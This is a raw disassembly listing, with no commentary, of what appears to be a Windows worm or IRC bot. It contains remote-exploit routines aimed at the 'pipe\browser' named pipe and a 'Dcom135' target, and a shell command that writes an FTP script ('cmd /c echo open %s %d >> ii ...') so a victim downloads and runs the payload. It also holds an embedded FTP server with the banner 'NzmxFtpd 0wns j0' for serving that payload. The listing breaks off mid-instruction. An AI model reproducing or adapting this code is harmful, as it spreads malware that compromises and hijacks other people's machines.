db 5Ch ; \ db 8Ch ; Œ db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 24h ; $ db 3Eh ; > db 1 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; † db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; è db 9Ch ; œ db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 93h ; “ db 29h ; ) db 1 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 0Ch db 0C8h ; È db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 80h ; € db 0E0h ; à db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 2630000h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] call near ptr 2620000h nop test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 2611A31h jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2611183h push ebx call sub_4186B1 push eax call sub_417302 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730C mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_43C830 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730C cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_43C828 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] call near ptr 2611A31h nop push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26303A9h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2611183h test eax, eax jnz short loc_404E03 call near ptr 2630313h nop cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2630272h cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0C2h ;  db 24h ; $ db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 0E8h ; è db 78h ; x db 0C4h ; Ä db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 0B6h ; ¶ db 0C8h ; È db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 83h ; ƒ db 0EDh ; í db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0AAh ; ª db 0EFh ; ï db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 74h ; t db 0F6h ; ö db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 3Ch ; < db 0C8h ; È db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0FCh ; ü db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; Ü db 89h ; ‰ db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 0A3h ; £ db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0D7h ; × db 0CBh ; Ë db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 0E8h ; è db 34h ; 4 db 0CBh ; Ë db 6Ah ; j db 71h ; q db 90h ; db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 90000007h, 1EB4B0E8h, 0FB834302h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F674 push eax push eax push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-0Eh], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j nop call near ptr 71AB1A6Dh loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43F668 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h nop call near ptr 25F0439h push offset byte_42F674 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push esi call dword_43F700 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax nop call near ptr 71AB2BBFh mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax nop call near ptr 71AB12F8h mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 nop call near ptr 71AB3C22h test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call near ptr 71AB3E5Dh nop test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi call near ptr 71AB1AF4h nop push 3E8h call near ptr 25F0439h nop sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi call near ptr 71AB8629h nop push edi nop call near ptr 71AB1A6Dh loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi nop call near ptr 71AB41DAh push edi call sub_4186B1 push eax call sub_417302 push 0FEB0h push 406h call sub_415450 add esp, 10h mov dword_43C83C, eax push edi push ebx push 2 call near ptr 71AB3C22h nop mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi nop call near ptr 71AB3F8Dh lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_43C83C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call near ptr 71AB1746h nop mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi nop call near ptr 71AB3ECEh test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi nop call near ptr 71AB5DE2h mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call near ptr 71AB1890h nop cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h, 8390716Bh dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C6E857h, 8590716Bh, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi call near ptr 71AB1A6Dh nop jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep 